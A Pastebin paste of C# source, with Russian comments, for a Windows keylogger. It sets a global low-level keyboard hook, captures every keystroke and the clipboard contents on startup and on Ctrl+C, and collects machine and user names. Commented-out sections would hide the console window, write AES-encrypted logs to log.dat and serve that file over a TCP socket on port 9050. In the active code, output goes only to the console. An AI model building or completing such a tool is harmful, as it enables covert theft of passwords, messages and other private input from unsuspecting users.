Guest User

Untitled

a guest
Dec 29th, 2022
127
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 15.07 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading;
  6. using System.Threading.Tasks;
  7. using System.Diagnostics;
  8. using System.IO;
  9. using System.Windows.Forms;
  10. using static WK.Libraries.SharpClipboardNS.SharpClipboard;
  11. using System.Runtime.InteropServices;
  12. using System.Security.Cryptography;
  13. using System.Net;
  14. using System.Net.Sockets;
  15.  
  16. namespace Logger
  17. {
  18.     internal class Program
  19.     {
  20.  
  21.         private const int WH_KEYBOARD_LL = 13;
  22.         private const int WM_KEYDOWN = 0x0100;
  23.         private const int WM_KEYUP = 0x0101;
  24.         private const int WM_SYSKEYUP = 0x0105;
  25.         private const int WM_SYSKEYDOWN = 0x0104;
  26.         public const int KF_REPEAT = 0X40000000;
  27.  
  28.         private const int VK_SHIFT = 0x10;  // SHIFT
  29.         private const int VK_CONTROL = 0x11;    // CONTROL
  30.         private const int VK_MENU = 0x12; // ALT
  31.         private const int VK_CAPITAL = 0x14; // CAPS LOCK
  32.  
  33.         private static LowLevelKeyboardProc _proc = HookCallback;
  34.         private static IntPtr _hookID = IntPtr.Zero;
  35.  
  36.         public static string mss;
  37.         public static int myi = 0;
  38.  
  39.         [STAThread]
  40.         static void Main(string[] args)
  41.         {
  42.             var handle = GetConsoleWindow();
  43.  
  44.             // Hide
  45.             //ShowWindow(handle, SW_HIDE);
  46.  
  47.  
  48.             _hookID = SetHook(_proc);
  49.             // получаем переменные окружения и данные о пользователе
  50.  
  51.             Console.WriteLine("CurrentDirectory: {0}" + Environment.CurrentDirectory + "\n", "Key");
  52.             Console.WriteLine("MachineName: {0}" + Environment.MachineName + "\n", "Key");
  53.             Console.WriteLine("OSVersion: {0}" + Environment.OSVersion.ToString() + "\n", "Key");
  54.             Console.WriteLine("SystemDirectory: {0}" + Environment.SystemDirectory + "\n", "Key");
  55.             Console.WriteLine("UserDomainName: {0}" + Environment.UserDomainName + "\n", "Key");
  56.             Console.WriteLine("UserInteractive: {0}" + Environment.UserInteractive + "\n", "Key");
  57.             Console.WriteLine("UserName: {0}" + Environment.UserName + "\n", "Key");
  58.             //Writer(Encrypt("CurrentDirectory: {0}" + Environment.CurrentDirectory + "\n", "Key"));
  59.             //Writer(Encrypt("MachineName: {0}" + Environment.MachineName + "\n", "Key"));
  60.             //Writer(Encrypt("OSVersion: {0}" + Environment.OSVersion.ToString() + "\n", "Key"));
  61.             //Writer(Encrypt("SystemDirectory: {0}" + Environment.SystemDirectory + "\n", "Key"));
  62.             //Writer(Encrypt("UserDomainName: {0}" + Environment.UserDomainName + "\n", "Key"));
  63.             //Writer(Encrypt("UserInteractive: {0}" + Environment.UserInteractive + "\n", "Key"));
  64.             //Writer(Encrypt("UserName: {0}" + Environment.UserName + "\n", "Key"));
  65.  
  66.             // получаем буфер обмена при запуске
  67.             string htmlData = GetBuff();
  68.             Console.WriteLine("Clipboard: {0}", htmlData);
  69.  
  70.             // получаем текущую раскладку клавиатуры
  71.  
  72.             ushort lang = GetKeyboardLayout();
  73.             mss = lang.ToString();
  74.             Console.WriteLine("Первоначальная раскладка: {0}\n", mss);
  75.             //Writer(Encrypt("Первоначальная раскладка: " + mss + "\n", "Key"));
  76.             //Thread mtr = new System.Threading.Thread(ServerSocket);
  77.             //mtr.Start();
  78.             Application.Run();
  79.  
  80.  
  81.             //UnhookWindowsHookEx(_hookID);
  82.         }
  83.  
  84.  
  85.         private static IntPtr SetHook(LowLevelKeyboardProc proc)
  86.         {
  87.             using (Process curProcess = Process.GetCurrentProcess())
  88.             using (ProcessModule curModule = curProcess.MainModule)
  89.             {
  90.                 return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
  91.                     GetModuleHandle(curModule.ModuleName), 0);
  92.             }
  93.         }
  94.  
  95.  
  96.         private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  97.  
  98.         private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
  99.         {
  100.             if (nCode >= 0)
  101.             {
  102.                 int vkCode = Marshal.ReadInt32(lParam);
  103.  
  104.                 KeysConverter kc = new KeysConverter();
  105.                 string mystring = kc.ConvertToString((Keys)vkCode);
  106.  
  107.                 string original = mystring;
  108.                 string encrypted;
  109.  
  110.                 // запрашиваем раскладку клавиатуры для каждого символа
  111.  
  112.  
  113.                 ushort lang_check = GetKeyboardLayout();
  114.                 string mss_check = lang_check.ToString();
  115.  
  116.                 if (mss == mss_check) { }
  117.                 //else
  118.                 //{
  119.                 //    Console.WriteLine("Смена раскладки: {0}", mss_check);
  120.                 //    encrypted =/* Encrypt(*/"\n<Смена раскладки:" + mss_check + " >\n" + "Key";//);
  121.  
  122.                 //    Writer(encrypted);
  123.                 //    mss = mss_check;
  124.                 //}
  125.  
  126.  
  127.                 //if (wParam == (IntPtr)WM_KEYDOWN)   //пишем все клавиши подряд
  128.                 //{
  129.                 //    Writer(/*Encrypt(*/original)/*)*/;
  130.  
  131.                 //}
  132.  
  133.                 //if (wParam == (IntPtr)WM_KEYUP) // пишем только те что были отпущены (в нашем случае все контрольные)
  134.                 //{
  135.                 //    if (Keys.LControlKey == (Keys)vkCode) { Writer(/*Encrypt(*/original/*"Key"*//*)*/); } // если был отпущен = запись
  136.                 //    if (Keys.LShiftKey == (Keys)vkCode) { Writer(/*Encrypt(*/original/*"Key"*//*)*/); } // если был отпущен = запись
  137.                 //}
  138.  
  139.                 // ловим сочетание клавиш CTRL+C (копирование в буфер)
  140.                 if (Keys.C == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  141.                 {
  142.  
  143.                     Console.WriteLine("CTRL+C: {0}", (Keys)vkCode);
  144.  
  145.                     string htmlData1 = GetBuff();                                                   // получаем буфер
  146.                     //Writer(/*Encrypt(*/"Содержимое буфера: " + htmlData1 + "\n" +  "Key"/*)*/);                  // записываем буфер
  147.                     Console.WriteLine("Clipboard: {0}", htmlData1);
  148.  
  149.                     //encrypted = "\n<COPY>\n" + "Key";
  150.                     //Writer(encrypted);
  151.                 }
  152.  
  153.                 else if (Keys.V == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  154.                 {
  155.  
  156.                     //return (IntPtr)1; // вроде как блокировка нажатия работает, проверил
  157.                     Console.WriteLine("CTRL+V: {0}", (Keys)vkCode);
  158.                     //encrypted = "\n<PASTE>\n" + "Key";
  159.                     //Writer(encrypted);
  160.  
  161.                 }
  162.                 else if (Keys.Z == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  163.                 {
  164.  
  165.                     Console.WriteLine("CTRL+Z: {0}", (Keys)vkCode);
  166.                     //encrypted = "\n<Отмена>\n" + "Key";
  167.                     //Writer(encrypted);
  168.                 }
  169.                 else if (Keys.F == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  170.                 {
  171.  
  172.                     Console.WriteLine("CTRL+F: {0}", (Keys)vkCode);
  173.                     //encrypted = "\n<Искать>\n" + "Key";
  174.                     //Writer(encrypted);
  175.                 }
  176.                 else if (Keys.A == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  177.                 {
  178.  
  179.                     Console.WriteLine("CTRL+A: {0}", (Keys)vkCode);
  180.                     //encrypted = "\n<Выделить всё>\n" + "Key";
  181.                     //Writer(encrypted);
  182.                 }
  183.                 else if (Keys.N == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  184.                 {
  185.  
  186.                     Console.WriteLine("CTRL+N: {0}", (Keys)vkCode);
  187.                     //encrypted = "\n<Новый>\n" + "Key";
  188.                     //Writer(encrypted);
  189.                 }
  190.                 else if (Keys.T == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  191.                 {
  192.  
  193.                     Console.WriteLine("CTRL+T: {0}", (Keys)vkCode);
  194.                     //encrypted = "\n<Нов.вкладка>\n" + "Key";
  195.                     //Writer(encrypted);
  196.  
  197.                 }
  198.                 else if (Keys.X == (Keys)vkCode && Keys.Control == Control.ModifierKeys)
  199.                 {
  200.  
  201.                     Console.WriteLine("CTRL+X: {0}", (Keys)vkCode);
  202.                     //encrypted = "\n<Вырезать>\n" + "Key";
  203.                     //Writer(encrypted);
  204.                 }
  205.  
  206.                 Console.Write(original);
  207.  
  208.             }
  209.  
  210.  
  211.             return CallNextHookEx(_hookID, nCode, wParam, lParam);
  212.         }
  213.  
  214.         public static string GetBuff()
  215.         {
  216.             string htmlData = Clipboard.GetText(TextDataFormat.Text);
  217.             return htmlData;
  218.         }
  219.  
  220.      
  221.        
  222.         //public static void ServerSocket()
  223.         //{
  224.         //    while (true)
  225.         //    {
  226.         //        {
  227.         //            try
  228.         //            {
  229.         //                IPEndPoint ipep = new IPEndPoint(IPAddress.Any, 9050);
  230.         //                Socket newsock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  231.         //                newsock.Bind(ipep);
  232.         //                newsock.Listen(10);
  233.         //                Console.WriteLine("Waiting for a client...");
  234.         //                Socket client = newsock.Accept();
  235.         //                IPEndPoint clientep = (IPEndPoint)client.RemoteEndPoint;
  236.         //                Console.WriteLine("Connected with {0} at port {1}", clientep.Address, clientep.Port);
  237.         //                FileInfo fi = new FileInfo(Application.StartupPath + @"\log.dat");
  238.         //                string fsize = fi.Length.ToString();
  239.         //                try
  240.         //                {
  241.  
  242.         //                    client.SendFile(Application.StartupPath + @"\log.dat");
  243.         //                    Console.WriteLine("Disconnected from {0}", clientep.Address);
  244.         //                    client.Close();
  245.         //                    newsock.Close();
  246.  
  247.         //                }
  248.         //                catch (Exception ex)
  249.         //                {
  250.         //                    Console.Write(ex.Message);
  251.         //                }
  252.         //            }
  253.  
  254.         //            catch (Exception e)
  255.         //            {
  256.         //                Console.Write(e.Message);
  257.         //            }
  258.  
  259.  
  260.         //        }
  261.         //    }
  262.  
  263.         //}
  264.  
  265.         // Записываем шифрованный текст в файл
  266.  
  267.         public static void Writer(string inputstring)
  268.         {
  269.  
  270.             //StreamWriter sw = new StreamWriter(Application.StartupPath + @"\log.dat", true);
  271.  
  272.             //sw.WriteLine(inputstring);
  273.             //sw.Flush();
  274.             //sw.Close();
  275.             Console.Write(inputstring);
  276.  
  277.         }
  278.  
  279.         //public static string Encrypt(string plainText, string password, string salt = "Key", string hashAlgorithm = "SHA1", int passwordIterations = 2, string initialVector = "OFRna73m*aze01xY", int keySize = 256)
  280.         //{
  281.         //    if (string.IsNullOrEmpty(plainText))
  282.         //        return "";
  283.  
  284.         //    byte[] initialVectorBytes = Encoding.ASCII.GetBytes(initialVector);
  285.         //    byte[] saltValueBytes = Encoding.ASCII.GetBytes(salt);
  286.         //    byte[] plainTextBytes = Encoding.UTF8.GetBytes(plainText);
  287.  
  288.         //    PasswordDeriveBytes derivedPassword = new PasswordDeriveBytes
  289.         //     (password, saltValueBytes, hashAlgorithm, passwordIterations);
  290.  
  291.         //    byte[] keyBytes = derivedPassword.GetBytes(keySize / 8);
  292.         //    RijndaelManaged symmetricKey = new RijndaelManaged();
  293.         //    symmetricKey.Mode = CipherMode.CBC;
  294.  
  295.         //    byte[] cipherTextBytes = null;
  296.  
  297.         //    using (ICryptoTransform encryptor = symmetricKey.CreateEncryptor
  298.         //    (keyBytes, initialVectorBytes))
  299.         //    {
  300.         //        using (MemoryStream memStream = new MemoryStream())
  301.         //        {
  302.         //            using (CryptoStream cryptoStream = new CryptoStream
  303.         //                     (memStream, encryptor, CryptoStreamMode.Write))
  304.         //            {
  305.         //                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length);
  306.         //                cryptoStream.FlushFinalBlock();
  307.         //                cipherTextBytes = memStream.ToArray();
  308.         //                memStream.Close();
  309.         //                cryptoStream.Close();
  310.         //            }
  311.         //        }
  312.         //    }
  313.  
  314.         //    symmetricKey.Clear();
  315.         //    return Convert.ToBase64String(cipherTextBytes);
  316.         //}
  317.  
  318.  
  319.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  320.         private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
  321.  
  322.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  323.         [return: MarshalAs(UnmanagedType.Bool)]
  324.         private static extern bool UnhookWindowsHookEx(IntPtr hhk);
  325.  
  326.         [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true, CallingConvention = CallingConvention.Winapi)]
  327.         internal static extern short GetKeyState(int keyCode);
  328.  
  329.         [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  330.         private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
  331.             IntPtr wParam, IntPtr lParam);
  332.  
  333.         [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  334.         private static extern IntPtr GetModuleHandle(string lpModuleName);
  335.  
  336.         [DllImport("kernel32.dll")]
  337.         static extern IntPtr GetConsoleWindow();
  338.  
  339.         [DllImport("user32.dll")]
  340.         static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
  341.  
  342.         [DllImport("user32.dll", CharSet = CharSet.Auto)]
  343.         private static extern uint MapVirtualKey(uint uCode, uint uMapType);
  344.  
  345.         const int SW_HIDE = 0;
  346.  
  347.         //------------------------------Пробуем узнать раскладку клавиатуры-------------------------------------------------//
  348.  
  349.         [DllImport("user32.dll", SetLastError = true)]
  350.         static extern int GetWindowThreadProcessId(
  351.             [In] IntPtr hWnd,
  352.             [Out, Optional] IntPtr lpdwProcessId
  353.             );
  354.  
  355.         [DllImport("user32.dll", SetLastError = true)]
  356.         static extern IntPtr GetForegroundWindow();
  357.  
  358.         [DllImport("user32.dll", SetLastError = true)]
  359.         static extern ushort GetKeyboardLayout(
  360.             [In] int idThread
  361.             );
  362.  
  363.  
  364.         static ushort GetKeyboardLayout()
  365.         {
  366.             return GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), IntPtr.Zero));
  367.         }
  368.  
  369.  
  370.  
  371.     }
  372. }
Add Comment
Please, Sign In to add comment